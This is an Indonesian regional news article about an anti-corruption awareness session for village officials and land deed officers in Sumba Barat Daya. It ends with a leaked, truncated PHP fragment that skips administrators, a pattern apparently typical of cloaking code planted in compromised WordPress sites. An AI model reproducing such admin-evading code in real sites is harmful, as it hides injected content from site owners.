Birokrasi

Kantor Pertanahan SBD Perkuat Pencegahan Korupsi Lewat Sosialisasi Budaya Anti Korupsi

×

Kantor Pertanahan SBD Perkuat Pencegahan Korupsi Lewat Sosialisasi Budaya Anti Korupsi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM — Kantor Pertanahan Kabupaten Sumba Barat Daya terus memperkuat upaya pencegahan korupsi melalui kegiatan Sosialisasi Budaya Anti Korupsi yang melibatkan para lurah, kepala desa, dan Pejabat Pembuat Akta Tanah (PPAT) se-Kabupaten Sumba Barat Daya.

Kegiatan yang berlangsung pada Senin, 22 Juni 2026 di Aula Kantor Pertanahan Kabupaten Sumba Barat Daya itu menghadirkan Kepala Seksi Tindak Pidana Khusus (Kasi Pidsus) Kejaksaan Negeri Sumba Barat, George Alexandro, SH sebagai narasumber.

Sosialisasi tersebut bertujuan meningkatkan pemahaman para pemangku kepentingan mengenai pentingnya integritas dalam penyelenggaraan pemerintahan dan pelayanan pertanahan.

Kepala Kantor Pertanahan Kabupaten Sumba Barat Daya, Yusak H. T. Benu, S.ST, dalam sambutannya menegaskan bahwa pembangunan budaya anti korupsi harus dimulai dari kesadaran setiap individu yang terlibat dalam pelayanan publik.

“Pelayanan pertanahan melibatkan banyak pihak, mulai dari pemerintah desa, kelurahan, PPAT hingga Kantor Pertanahan. Karena itu, integritas harus menjadi komitmen bersama agar pelayanan yang diberikan kepada masyarakat benar-benar bersih, transparan, dan akuntabel,” ujarnya.

Menurut Yusak, pemerintah desa dan kelurahan memiliki peran strategis karena menjadi garda terdepan dalam memberikan informasi dan pelayanan administrasi kepada masyarakat.

Sementara itu, PPAT berperan penting dalam menjamin kepastian hukum atas berbagai perbuatan hukum di bidang pertanahan.

Ia berharap melalui kegiatan tersebut seluruh peserta semakin memahami risiko yang dapat menimbulkan permasalahan hukum sekaligus memperkuat komitmen untuk menjalankan tugas sesuai ketentuan yang berlaku.

Dalam sesi pemaparan materi, Kasi Pidana Khusus Kejaksaan Negeri Sumba Barat menjelaskan berbagai bentuk tindak pidana korupsi yang kerap terjadi dalam penyelenggaraan pemerintahan serta langkah-langkah pencegahannya.

Menurutnya, pencegahan merupakan langkah yang jauh lebih penting dibanding penindakan sehingga pemahaman terhadap regulasi dan tata kelola pemerintahan yang baik perlu terus ditingkatkan.

“Korupsi tidak selalu dimulai dari perbuatan besar. Banyak kasus berawal dari penyalahgunaan kewenangan, pengabaian prosedur, atau tindakan yang dianggap sepele namun berdampak pada kerugian negara. Karena itu, setiap pejabat maupun pihak yang terlibat dalam pelayanan publik harus memahami batas kewenangan dan menjalankan tugas secara profesional,” jelasnya.

Ia juga mengingatkan pentingnya membangun budaya integritas dalam setiap organisasi sebagai benteng utama pencegahan korupsi.

Kegiatan berlangsung interaktif melalui sesi tanya jawab yang diikuti antusias oleh para peserta.

Berbagai pertanyaan disampaikan terkait pelaksanaan tugas pemerintahan desa, pelayanan pertanahan, hingga aspek hukum yang perlu diperhatikan dalam menjalankan kewenangan masing-masing.

Melalui kegiatan ini, Kantor Pertanahan Kabupaten Sumba Barat Daya berharap sinergi antara pemerintah desa, kelurahan, PPAT, dan aparat penegak hukum semakin kuat guna mewujudkan pelayanan publik yang profesional, berintegritas, dan bebas dari praktik korupsi. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>